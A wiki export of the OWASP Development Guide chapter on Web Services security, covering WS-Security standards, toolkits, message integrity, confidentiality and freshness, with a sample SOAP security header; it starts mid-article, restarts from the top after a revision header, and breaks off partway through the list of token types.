Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas. [[Category:FIXME|old dates, is this current info?]]

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:59:55Z

KirstenS: /* Freshness */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

